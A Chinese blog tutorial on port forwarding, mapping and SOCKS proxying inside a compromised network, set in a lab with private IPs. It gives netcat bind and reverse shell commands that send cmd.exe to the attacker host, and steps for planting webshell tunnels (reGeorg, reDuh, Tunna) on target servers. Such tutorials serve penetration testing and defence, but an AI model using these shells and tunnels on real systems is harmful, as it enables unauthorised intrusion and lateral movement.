日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

端口转发、映射、代理

發(fā)布時間:2024/8/1 编程问答 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 端口转发、映射、代理 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

端口轉(zhuǎn)發(fā)&端口映射

在實際滲透過程中,我們成功入侵了目標服務(wù)器。接著我們想在本機上通過瀏覽器或者其他客戶端軟件訪問目標機器內(nèi)部網(wǎng)絡(luò)中所開放的端口,比如內(nèi)網(wǎng)的3389端口、內(nèi)網(wǎng)網(wǎng)站8080端口等等。傳統(tǒng)的方法是利用nc、lcx等工具,進行端口轉(zhuǎn)發(fā)。

0x01 什么是端口轉(zhuǎn)發(fā)

端口轉(zhuǎn)發(fā)就是將一個端口,這個端口可以本機的端口也可以是本機可以訪問到的任意主機的端口,轉(zhuǎn)發(fā)到任意一臺可以訪問到的IP上,通常這個IP是公網(wǎng)IP。

適用端口轉(zhuǎn)發(fā)的網(wǎng)絡(luò)環(huán)境有以下幾種:

1. 服務(wù)器處于內(nèi)網(wǎng),可以訪問外部網(wǎng)絡(luò)。

2. 服務(wù)器處于外網(wǎng),可以訪問外部網(wǎng)絡(luò),但是服務(wù)器安裝了防火墻來拒絕敏感端口的連接。

3. 服務(wù)器處于內(nèi)網(wǎng),對外只開放了80端口,并且服務(wù)器不能訪問外網(wǎng)網(wǎng)絡(luò)。

0x02 什么是端口映射

映射端口,就是將一個內(nèi)網(wǎng)端口映射到公網(wǎng)上的某個端口,假設(shè)我自己的電腦是在內(nèi)網(wǎng)中,沒有公網(wǎng)IP,但是我想提供一個端口供其他人使用,這就是端口映射。

0x03 端口轉(zhuǎn)發(fā)和端口映射的區(qū)別

端口映射場景

外網(wǎng)主機A想訪問內(nèi)網(wǎng)主機B上的服務(wù)。

端口轉(zhuǎn)發(fā)場景

外網(wǎng)主機A已經(jīng)可以任意內(nèi)網(wǎng)主機B上的端口,但是無法訪問內(nèi)網(wǎng)主機C上的端口。此時可以將C主機的端口到B主機的端口,那么外網(wǎng)主機A訪問B主機的某某端口就相當于訪問了C主機的某某。

總結(jié)

端口轉(zhuǎn)發(fā)和端口映射原理是一樣的只不過是應(yīng)用場景不一樣,假如我們將本機的端口轉(zhuǎn)發(fā)到遠程主機端口,我們可以叫端口映射,也可以叫端口轉(zhuǎn)發(fā)

如果把本機可以訪問到的任意IP的端口轉(zhuǎn)發(fā)到另外一臺服務(wù)器的端口,就叫他端口轉(zhuǎn)發(fā)

0x04 正向連接和反向連接的區(qū)別

正向連接你的機器連接目標機器

反向連接目標機器反連你的機器

不論映射,還是轉(zhuǎn)發(fā),都有正有反,原理相同

0x05 環(huán)境拓撲圖

?

0x06 LCX

lcx.exe是一個端口轉(zhuǎn)發(fā)工具,有Windows和Linux兩個版本,Windows是lcx,Linux是portmap。

lcx有兩個功能:1、端口轉(zhuǎn)發(fā)(listen和slave);2、端口映射(tran)

1、lcx端口映射

A外網(wǎng) 無法訪問 內(nèi)網(wǎng)B,B內(nèi)網(wǎng) 可以訪問 外網(wǎng)A

A:192.168.30.140(外網(wǎng)win10)

B:192.168.30.133(內(nèi)網(wǎng)xp)

由于是在虛擬機進行實驗,這里把133的防火墻打開,當作內(nèi)網(wǎng)環(huán)境,140的防火墻關(guān)閉,當作外網(wǎng)環(huán)境,所以正常情況下133能訪問140,而139不能直接訪問133,這是兩臺機器互ping的結(jié)果。

1)在內(nèi)網(wǎng)主機上執(zhí)行:

lcx.exe -slave 公網(wǎng)主機IP 公網(wǎng)主機端口 內(nèi)網(wǎng)主機IP 內(nèi)網(wǎng)主機端口

例如:

lcx.exe -slave 192.168.30.140 4444 127.0.0.1 3389 //把內(nèi)網(wǎng)主機的3389端口轉(zhuǎn)發(fā)到公網(wǎng)主機的4444端口

2)在公網(wǎng)主機上執(zhí)行:

lcx.exe -listen 公網(wǎng)主機端口1 公網(wǎng)主機端口2

lcx.exe -tran 公網(wǎng)主機端口1 公網(wǎng)主機端口2

例如:

lcx.exe -listen 4444 5555 //監(jiān)聽公網(wǎng)主機的4444端口請求,并將來自4444端口的請求傳送給5555端口

lcx.exe -tran 4444 5555 //將接收到的4444端口映射到5555端口

2、lcx端口轉(zhuǎn)發(fā)

A外網(wǎng) 可以訪問 內(nèi)網(wǎng)B,B內(nèi)網(wǎng) 可以訪問 內(nèi)網(wǎng)C,A外網(wǎng) 不能訪問 內(nèi)網(wǎng)C

A:192.168.30.140(外網(wǎng)win10)

B:192.168.30.133(內(nèi)網(wǎng)xp)

C:192.168.30.139(內(nèi)網(wǎng)win7)

在內(nèi)網(wǎng)主機B上執(zhí)行:lcx.exe -tran 6666 192.168.30.139 3389

此時訪問B主機上的6666端口就相當于訪問C主機上的3389端口,在主機A開啟遠程連接192.168.30.133:6666

3、portmap

A:192.168.30.137(內(nèi)網(wǎng)Centos)

B:192.168.30.138(公網(wǎng)Centos)

C:192.168.30.142(攻擊機器)

在具有公網(wǎng)IP的主機B上執(zhí)行:

./portmap -m 2 -p1 6666 -h2 192.168.30.138 -p2 7777

?

意思是監(jiān)聽來自6666端口的請求,將其轉(zhuǎn)發(fā)到7777端口

然后在內(nèi)網(wǎng)主機A上執(zhí)行:

./portmap 3 -h1 127.0.0.1 -p1 22 -h2 192.168.30.138 -p2 6666

意思是將內(nèi)網(wǎng)主機22端口的流量轉(zhuǎn)發(fā)到公網(wǎng)主機的6666端口

然后連接到公網(wǎng)主機的7777端口就相當于連接到內(nèi)網(wǎng)主機的22端口

0x07 nc端口轉(zhuǎn)發(fā)

1、正向連接

A內(nèi)網(wǎng) 可以訪問 外網(wǎng)B,B外網(wǎng) 無法訪問 內(nèi)網(wǎng)A

A:192.168.30.133(內(nèi)網(wǎng)xp)

B:192.168.30.140(外網(wǎng)win10)

在內(nèi)網(wǎng)主機A執(zhí)行

nc -l -p 5555 -t -e cmd.exe

在公網(wǎng)主機B執(zhí)行

nc -nvv 192.168.30.133 5555

2、反向連接

A外網(wǎng) 無法訪問 內(nèi)網(wǎng)B,B內(nèi)網(wǎng) 可以訪問 外網(wǎng)A

A:192.168.30.140(外網(wǎng)win10)

B:192.168.30.133(內(nèi)網(wǎng)xp)

在公網(wǎng)主機上監(jiān)聽

nc -lvp 6666

在內(nèi)網(wǎng)主機上執(zhí)行

nc -t -e cmd.exe 192.168.30.140 6666

?

代理

0x01 什么是代理

代理(Proxy),也稱網(wǎng)絡(luò)代理,是一種特殊的網(wǎng)絡(luò)服務(wù),允許一個網(wǎng)絡(luò)終端(一般為客戶端)通過這個服務(wù)與另一個網(wǎng)絡(luò)終端(一般為服務(wù)器)進行非直接的連接。一些網(wǎng)關(guān)、路由器等網(wǎng)絡(luò)設(shè)備具備網(wǎng)絡(luò)代理功能。一般認為代理服務(wù)有利于保障網(wǎng)絡(luò)終端的隱私或安全,防止攻擊。

0x02 代理類別

http代理、socks代理、ftp代理、telent代理、ssl代理

0x03 正向代理和反向代理的區(qū)別

正向代理(Forward Proxy)

Lhost——>proxy——>Rhost

反向代理(reverse proxy)

Lhost<——>proxy<——>firewall<——>Rhost

正向代理中,proxy 和 client 同屬一個 LAN,對 server 透明;

反向代理中,proxy 和 server 同屬一個 LAN,對 client 透明。

一個代理的是客戶端,一個代理的是服務(wù)器,實際上proxy在兩種代理中做的事都是代為收發(fā)請求和響應(yīng),不過從結(jié)構(gòu)上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,后者叫做反向代理。

0x04 socks代理工具

1、Earthworm

EW 是一套便攜式的網(wǎng)絡(luò)穿透工具,具有 SOCKS v5服務(wù)架設(shè)和端口轉(zhuǎn)發(fā)兩大核心功能,可在復(fù)雜網(wǎng)絡(luò)環(huán)境下完成網(wǎng)絡(luò)穿透。該工具能夠以“正向”、“反向”、“多級級聯(lián)”等方式打通一條網(wǎng)絡(luò)隧道,直達網(wǎng)絡(luò)深處,用蚯蚓獨有的手段突破網(wǎng)絡(luò)限制,給防火墻松土。工具包中提供了多種可執(zhí)行文件,以適用不同的操作系統(tǒng),Linux、Windows、MacOS、Arm-Linux 均被包括其內(nèi)。

使用方法:ew穿透

2、Termite

Termite 是EW(EarthWorm)的最新版,多平臺支持、跳板機互聯(lián)、正反向級聯(lián)、小巧無依賴、內(nèi)置Shell令主機管理的特點顯得更加方便。

使用方法:http://rootkiter.com/Termite/README.txt

3、reDuh

reDuh也是一款內(nèi)網(wǎng)滲透利器,這個工具可以把內(nèi)網(wǎng)服務(wù)器的端口通過http/https隧道轉(zhuǎn)發(fā)到本機,形成一個連通回路。用于目標服務(wù)器在內(nèi)網(wǎng)或做了端口策略的情況下連接目標服務(wù)器內(nèi)部開放端口。服務(wù)端是個webshell,工具里面針對不同服務(wù)器有aspx,php,jsp三個版本,客戶端是java寫的,本機執(zhí)行最好裝上jdk。、

使用方法:

將代理腳本上傳到目標服務(wù)器,在本地訪問代理腳本,驗證腳本情況

在本地執(zhí)行以下命令

java -jar reDuhClient.jar?http://192.168.30.140/reDuh.phpnc -vv 127.0.0.1 1010[createTunnel]1234:127.0.0.1:3389

遠程登錄127.0.0.1:1234就可以連接到內(nèi)部

4、reGeorg

reGeorg是reDuh的升級版,主要是把內(nèi)網(wǎng)服務(wù)器的端口通過http/https隧道轉(zhuǎn)發(fā)到本機,形成一個回路。用于目標服務(wù)器在內(nèi)網(wǎng)或做了端口策略的情況下連接目標服務(wù)器內(nèi)部開放端口。它利用webshell建立一個socks代理進行內(nèi)網(wǎng)穿透,服務(wù)器必須支持aspx、php或jsp這些web程序中的一種。

使用方法:

上傳對應(yīng)服務(wù)器腳本到目標主機的服務(wù)器,我選擇的是php

訪問會顯示“Georg says, 'All seems fine'”,表示腳本運行正常,之后就是運行reGeorg監(jiān)聽指定端口,如:

reGeorgSocksProxy.py -p 8888 -u?http://192.168.30.140/tunnel.nosocket.php

接下來配置proxifier,設(shè)置代理127.0.0.1:8888 socks5,規(guī)則默認即可,右鍵使用proxy socks5 127.0.0.1去打開遠程桌面,輸入內(nèi)網(wǎng)IP,此時環(huán)境是同在一個內(nèi)網(wǎng),所以可以成功連接。

5、sSocks
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務(wù),支持socks5驗證,支持IPV6和UDP,并提供反向socks代理服務(wù),即將遠程計算機作為socks代理服務(wù)端,反彈回本地,極大方便內(nèi)網(wǎng)的滲透測試,其最新版為0.0.14。

使用方法:

下載解壓后,編譯

./configure && make

編譯完成,進入src目錄,會發(fā)現(xiàn)有nsocks、ssocksd、ssocks、rcsocks

其功能說明介紹如下:

程序功能:

nsocks 類似通過Socks5代理后的netcat,可用來測試socks server ssocksd 用來開啟Socks5代理服務(wù) ssocks 本地啟用Socks5服務(wù),并反彈到另一IP地址 rcsocks 接收反彈過來的Socks5服務(wù),并轉(zhuǎn)向另一端口

公網(wǎng)主機上執(zhí)行:

./rcsocks -l 1080 -p 5555 -vv

內(nèi)網(wǎng)主機上執(zhí)行:

./rssocks –vv –s 公網(wǎng)主機ip:5555

這時本地主機可以通過訪問公網(wǎng)主機的 1080 端口訪問內(nèi)網(wǎng)主機,或者使用各種socks代理工具配置代理即可

6、proxychains

Proxychains是一款在Linux下可以實現(xiàn)全局代理的軟件,性能相當穩(wěn)定可靠。在使任何程序通過代理上網(wǎng),允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務(wù)器,支持proxy chain,即可配置多個代理,同一個proxy chain可使用不同類型的代理服務(wù)器。

7、Tunna

Tunna這個工具使用起來也特方便,腳本的編寫也是基于Python2版本。運用的時候也需要我們把代理腳本上傳到目標服務(wù)器,然后通過代理內(nèi)網(wǎng)的某個端口,注意這個工具只能代理一個端口,有點局限性。但是我們可以代理3389、22、3306、1433等敏感端口,然后將敏感端口流量轉(zhuǎn)發(fā)了外網(wǎng)的的某個端口,我們再通過本地連接外網(wǎng)的端口進行連接,這樣的話我們就可以使用了。

第一步:上傳對應(yīng)服務(wù)器腳本到目標主機的服務(wù)器,我選擇的是php

第二步:運行proxy.py 并指定端口

python proxy.py -u?http://192.168.30.140/conn.php?-l 1234 -r 3389 -v

第三步:遠程連接127.0.0.1:1234

8、frp

frp 是一個可用于內(nèi)網(wǎng)穿透的高性能的反向代理應(yīng)用,支持 tcp, udp, http, https 協(xié)議。

服務(wù)端
修改服務(wù)端的部署文件 frps.ini

[common] bind_addr = 0.0.0.0 bind_port = 7000dashboard_user = xxxxx #監(jiān)控的用戶名 dashboard_pwd = xxxxxx #監(jiān)控的密碼 dashboard_port = 7500

將?frps.ini 及frps.exe?上傳到公網(wǎng)機器上,以管理員的身份cmd到其目錄下,運行如下的命令

frps -c frps.ini

看到下圖就運行成功了

不要忘記在防火墻將相關(guān)的端口打開,不然會報錯,或者是訪問不了

這樣服務(wù)端就部署成功了,可以訪問 dashboard查看監(jiān)控信息。

服務(wù)端的這個命令行窗口不要關(guān),關(guān)了服務(wù)就掛了

客戶端

修改客戶端的部署文件 frpc.ini

[common] server_addr = xx.xx.xx.xx #你的公網(wǎng)機器的ip地址 server_port = 7000[ssh] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 6000

frpc.ini 及frpc.exe 放到本地機器上,以管理員的身份cmd到其目錄下,運行如下的命令

frpc -c frpc.ini

服務(wù)器端對應(yīng)的端口也要打開,然后這個cmd窗口不能關(guān),不然服務(wù)就終止了,這個是下面開機自啟動要解決的問題。為了支持遠程訪問,window下的允許遠程訪問要打開。
最后就可以愉快的用原生的遠程桌面訪問機器了

0x05 ssh隧道代理轉(zhuǎn)發(fā)

ssh有三個強大的端口轉(zhuǎn)發(fā)命令,分別是本地轉(zhuǎn)發(fā)、遠程轉(zhuǎn)發(fā)、動態(tài)轉(zhuǎn)發(fā)。

參數(shù)詳解

-q Quiet mode. 安靜模式 -T Disable pseudo-tty allocation. 不占用 shell 了 -f Requests ssh to go to background just before command execution. 后臺運行,并推薦加上 -n 參數(shù) -N Do not execute a remote command. 不執(zhí)行遠程命令,端口轉(zhuǎn)發(fā)就用它了 -L port:host:hostport 將本地機(客戶機)的某個端口轉(zhuǎn)發(fā)到遠端指定機器的指定端口. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經(jīng)過安全通道轉(zhuǎn)發(fā)出去, 同時遠程主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉(zhuǎn)發(fā). 只有 root 才能轉(zhuǎn)發(fā)特權(quán)端口. IPv6 地址用另一種格式說明: port/host/hostport -R port:host:hostport 將遠程主機(服務(wù)器)的某個端口轉(zhuǎn)發(fā)到本地端指定機器的指定端口. 工作原理是這樣的, 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經(jīng)過安全通道轉(zhuǎn)向出去, 同時本地主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉(zhuǎn)發(fā). 只有用 root 登錄遠程主機才能轉(zhuǎn)發(fā)特權(quán)端口. IPv6 地址用另一種格式說明: port/host/hostport -D port 指定一個本地機器 “動態(tài)的’’ 應(yīng)用程序端口轉(zhuǎn)發(fā). 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經(jīng)過安全通道轉(zhuǎn)發(fā)出去, 根據(jù)應(yīng)用程序的協(xié)議可以判斷出遠程主機將和哪里連接. 目前支持 SOCKS協(xié)議, 將充當SOCKS服務(wù)器. 只有 root 才能轉(zhuǎn)發(fā)特權(quán)端口. 可以在配置文件中指定動態(tài)端口的轉(zhuǎn)發(fā).

1、ssh本地轉(zhuǎn)發(fā)

本地訪問127.0.0.1:port1就是host:port2

ssh -CfNg -L port1:127.0.0.1:port2 user@host //本地轉(zhuǎn)發(fā)

應(yīng)用場景:

遠程管理服務(wù)器上的mysql,mysql不能直接root遠程登陸。這時候就可以通過本地轉(zhuǎn)發(fā),通過ssh將服務(wù)器的3306端口轉(zhuǎn)發(fā)到本地1234端口

ssh -CfNg -L 1234:127.0.0.1:3306?root@192.168.30.133?//本地轉(zhuǎn)發(fā)

2、ssh遠程轉(zhuǎn)發(fā)

訪問host:port2就是訪問127.0.0.1:port1

ssh -CfNg -R port2:127.0.0.1:port1 user@host //遠程轉(zhuǎn)發(fā)

應(yīng)用場景:

內(nèi)網(wǎng)的服務(wù)器,外網(wǎng)不能直接訪問,使用遠程轉(zhuǎn)發(fā),將內(nèi)網(wǎng)的服務(wù)器端口轉(zhuǎn)發(fā)到外網(wǎng)端口。這時候訪問外網(wǎng)的端口,就訪問到了內(nèi)網(wǎng)的端口

ssh -CfNg -R 81:127.0.0.1:80?root@192.168.30.133?//遠程轉(zhuǎn)發(fā)

3、dmz_host的hostport端口通過remote_ip轉(zhuǎn)發(fā)到本地的port端口

ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip //正向隧道,監(jiān)聽本地port

4、dmz_host的hostport端口轉(zhuǎn)發(fā)到remote_ip的port端口

ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip //反向隧道,用于內(nèi)網(wǎng)穿透防火墻限制之類

5、socket動態(tài)轉(zhuǎn)發(fā)socks代理

ssh -qTfnN -D 1080?root@192.168.30.133

之后和proxychains搭配工具一起使用

0x06 內(nèi)網(wǎng)穿透平臺

ngrok、natapp等

總結(jié)

以上是生活随笔為你收集整理的端口转发、映射、代理的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。